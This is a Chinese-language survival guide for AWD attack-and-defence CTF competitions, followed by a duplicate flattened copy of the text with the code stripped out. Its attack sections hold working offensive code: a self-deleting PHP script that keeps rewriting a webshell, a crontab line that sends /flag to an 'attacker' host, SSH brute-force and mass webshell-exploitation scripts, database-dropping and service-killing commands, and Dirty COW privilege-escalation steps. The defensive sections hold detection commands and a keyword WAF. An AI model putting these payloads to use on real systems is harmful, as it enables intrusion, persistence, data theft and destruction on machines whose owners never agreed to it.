浅谈AWD攻防赛的生存攻略
字数 1299 2025-08-27 12:33:37

AWD攻防赛全面生存指南

一、AWD赛制概述

AWD (Attack With Defence) 是一种攻防对抗比赛模式,核心特点包括:

  • 每个队伍维护2-3台服务器(Web服务器为主)
  • 服务器存在多个漏洞(Web层、系统层、中间件层等)
  • 攻击得分:利用漏洞攻击其他队伍服务器获取flag
  • 防守得分:加固自身服务器防止被攻击
  • flag周期性刷新(通常几分钟一轮)

关键规则

  1. flag存放位置:通常位于根目录(如/flag/f*
  2. 得分机制:
    • 获取他人flag可得分
    • 自己的flag被窃取会扣分
  3. 权限限制:通常只提供低权限用户账号(非root)
  4. 服务检查:主办方定期检查服务可用性,宕机会扣分

二、赛前准备策略

1. SSH连接管理

  • 基础连接
    ssh username@ip -p port
    
  • 密钥登录
    sftp -i id_rsa username@ip
    

2. 密码安全

  • 立即修改默认密码
    passwd  # 修改系统密码
    
  • MySQL密码修改
    SET PASSWORD FOR root@localhost = PASSWORD('newpass');
    FLUSH PRIVILEGES;
    

3. 源码备份

  • Web目录备份
    cd /var/www && tar -czvf /tmp/html.tgz html
    
  • 数据库备份
    mysqldump -uroot -p --all-databases --skip-lock-tables > /tmp/db.sql
    

4. 后门检测

  • 使用D盾、Seay等工具扫描Web目录
  • 重点关注可疑的PHP文件(如包含evalassert等函数)

5. 端口扫描

  • 使用nmap/masscan扫描目标开放端口
  • 重点关注:
    • 22(SSH弱口令)
    • 3306(MySQL弱口令)
    • 6379(Redis未授权)
    • 873(rsync未授权)

三、攻击战术手册

1. 常见攻击手段

  • Web漏洞利用

    • 文件包含、SQL注入、RCE等
    • 使用预留后门(如shell.php)执行命令:
      curl "http://target/shell.php" -d "cmd=cat /flag"
      
  • SSH弱口令爆破

    import paramiko
    def ssh_attack(ip, user, passwd):
        ssh = paramiko.SSHClient()
        ssh.connect(ip, username=user, password=passwd)
        stdin, stdout, stderr = ssh.exec_command('cat /flag')
        print(stdout.read())
    

2. 权限维持技巧

  • 不死马(持续写入Webshell):

    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    while(1){
        file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>');
        system('touch -m -d "2018-12-01" shell.php');
        usleep(5000);
    }
    
  • 定时任务

    (crontab -l ; echo "*/1 * * * * curl http://attacker/flag=$(cat /flag)") | crontab -
    
  • 隐藏Webshell

    • 使用.开头的文件名(如.shell.php
    • 使用-开头的文件名(干扰删除命令)

3. 干扰对手战术

  • 批量删除数据库
    DROP DATABASE mysql; DROP DATABASE test;
    
  • 服务拒绝
    while true; do service apache2 stop; done
    
  • 垃圾流量攻击
    import requests
    for i in range(1,255):
        try:
            requests.post(f"http://192.168.1.{i}/shell.php", data={"cmd":"echo 1"})
        except: pass
    

四、防御加固方案

1. 基础查杀

  • 查找可疑文件
    find /var/www/html -name "*.php" -mmin -20
    find / -name "*.php" | xargs grep -n "eval("
    

2. 文件监控脚本

# 简易文件监控
import hashlib, os
FILE_MD5 = {}
for root, _, files in os.walk('/var/www'):
    for f in files:
        path = os.path.join(root, f)
        with open(path, 'rb') as fp:
            FILE_MD5[path] = hashlib.md5(fp.read()).hexdigest()
# 定期检查MD5变化...

3. 不死马查杀

  • 终止进程
    ps aux | grep www-data | awk '{print $2}' | xargs kill -9
    
  • 竞争写入
    <?php
    while(1){
        unlink('malware.php');
        file_put_contents('malware.php', '<?php //cleaned?>');
    }
    

4. 服务加固

  • 禁用危险函数
    ; php.ini配置
    disable_functions = exec,passthru,shell_exec,system
    
  • 上传目录限制
    <Directory "/var/www/html/upload">
        php_flag engine off
    </Directory>
    

5. 网络防护

  • IPTables基础规则
    iptables -A INPUT -p tcp --dport 80 -j ACCEPT
    iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    iptables -A INPUT -j DROP
    

五、自动化脚本开发

1. 批量攻击脚本

import requests
for ip in range(1,255):
    try:
        r = requests.post(
            f"http://192.168.1.{ip}/shell.php",
            data={"cmd":"cat /flag"},
            timeout=1
        )
        print(f"[+] {ip}: {r.text}")
    except: pass

2. 自动提交flag

import requests, json
flags = ["flag1", "flag2"]  # 实际从攻击获取
for flag in flags:
    requests.post(
        "http://scoreboard/submit",
        headers={"Content-Type": "application/json"},
        data=json.dumps({"flag": flag})
    )

3. 综合防御脚本

#!/bin/bash
# 自动监控脚本
while true; do
    # 检查异常进程
    ps aux | grep -E '(nc|bash|sh)' | grep -v grep && echo "Suspicious process!"
    
    # 检查文件修改
    find /var/www -name "*.php" -mmin -5 | while read file; do
        echo "Modified: $file"
        cp /backup/$(basename $file) $file
    done
    sleep 60
done

六、高级技巧

1. 流量分析

  • 抓取HTTP流量
    tcpdump -s 0 -w traffic.pcap port 80
    
  • 分析攻击行为
    • 使用Wireshark分析pcap文件
    • 关注POST请求中的可疑参数

2. WAF部署

  • PHP简易WAF
    <?php
    $blacklist = ['eval', 'system', 'passthru'];
    foreach($blacklist as $word){
        if(strpos($_REQUEST['input'], $word) !== false){
            die('Hack detected');
        }
    }
    

3. 提权方法

  • 脏牛漏洞(CVE-2016-5195):
    gcc dirty.c -o dirty -pthread
    ./demo
    
  • SUDO漏洞(CVE-2017-1000367)

七、比赛策略总结

  1. 分工协作

    • 至少两人分别负责攻击和防守
    • 建立实时沟通机制
  2. 时间管理

    • 第一轮优先加固自身服务
    • 后续轮次攻防并行
  3. 信息收集

    • 记录所有发现的漏洞和payload
    • 分析对手攻击方式
  4. 应急响应

    • 准备快速恢复脚本
    • 保留多个备用后门
  5. 心理战术

    • 适时发动干扰攻击
    • 注意隐藏自身攻击路径

本指南涵盖了AWD比赛的核心技术要点,实际比赛中需根据具体环境灵活调整策略。建议平时多收集各类漏洞的EXP,并熟练掌握Python脚本编写能力,这对比赛中的快速反应至关重要。

AWD攻防赛全面生存指南 一、AWD赛制概述 AWD (Attack With Defence) 是一种攻防对抗比赛模式,核心特点包括: 每个队伍维护2-3台服务器(Web服务器为主) 服务器存在多个漏洞(Web层、系统层、中间件层等) 攻击得分:利用漏洞攻击其他队伍服务器获取flag 防守得分:加固自身服务器防止被攻击 flag周期性刷新(通常几分钟一轮) 关键规则 flag存放位置:通常位于根目录(如 /flag 或 /f* ) 得分机制: 获取他人flag可得分 自己的flag被窃取会扣分 权限限制:通常只提供低权限用户账号(非root) 服务检查:主办方定期检查服务可用性,宕机会扣分 二、赛前准备策略 1. SSH连接管理 基础连接 : 密钥登录 : 2. 密码安全 立即修改默认密码 : MySQL密码修改 : 3. 源码备份 Web目录备份 : 数据库备份 : 4. 后门检测 使用D盾、Seay等工具扫描Web目录 重点关注可疑的PHP文件(如包含 eval 、 assert 等函数) 5. 端口扫描 使用nmap/masscan扫描目标开放端口 重点关注: 22(SSH弱口令) 3306(MySQL弱口令) 6379(Redis未授权) 873(rsync未授权) 三、攻击战术手册 1. 常见攻击手段 Web漏洞利用 : 文件包含、SQL注入、RCE等 使用预留后门(如 shell.php )执行命令: SSH弱口令爆破 : 2. 权限维持技巧 不死马 (持续写入Webshell): 定时任务 : 隐藏Webshell : 使用 . 开头的文件名(如 .shell.php ) 使用 - 开头的文件名(干扰删除命令) 3. 干扰对手战术 批量删除数据库 : 服务拒绝 : 垃圾流量攻击 : 四、防御加固方案 1. 基础查杀 查找可疑文件 : 2. 文件监控脚本 3. 不死马查杀 终止进程 : 竞争写入 : 4. 服务加固 禁用危险函数 : 上传目录限制 : 5. 网络防护 IPTables基础规则 : 五、自动化脚本开发 1. 批量攻击脚本 2. 自动提交flag 3. 综合防御脚本 六、高级技巧 1. 流量分析 抓取HTTP流量 : 分析攻击行为 : 使用Wireshark分析pcap文件 关注POST请求中的可疑参数 2. WAF部署 PHP简易WAF : 3. 提权方法 脏牛漏洞 (CVE-2016-5195): SUDO漏洞 (CVE-2017-1000367) 七、比赛策略总结 分工协作 : 至少两人分别负责攻击和防守 建立实时沟通机制 时间管理 : 第一轮优先加固自身服务 后续轮次攻防并行 信息收集 : 记录所有发现的漏洞和payload 分析对手攻击方式 应急响应 : 准备快速恢复脚本 保留多个备用后门 心理战术 : 适时发动干扰攻击 注意隐藏自身攻击路径 本指南涵盖了AWD比赛的核心技术要点,实际比赛中需根据具体环境灵活调整策略。建议平时多收集各类漏洞的EXP,并熟练掌握Python脚本编写能力,这对比赛中的快速反应至关重要。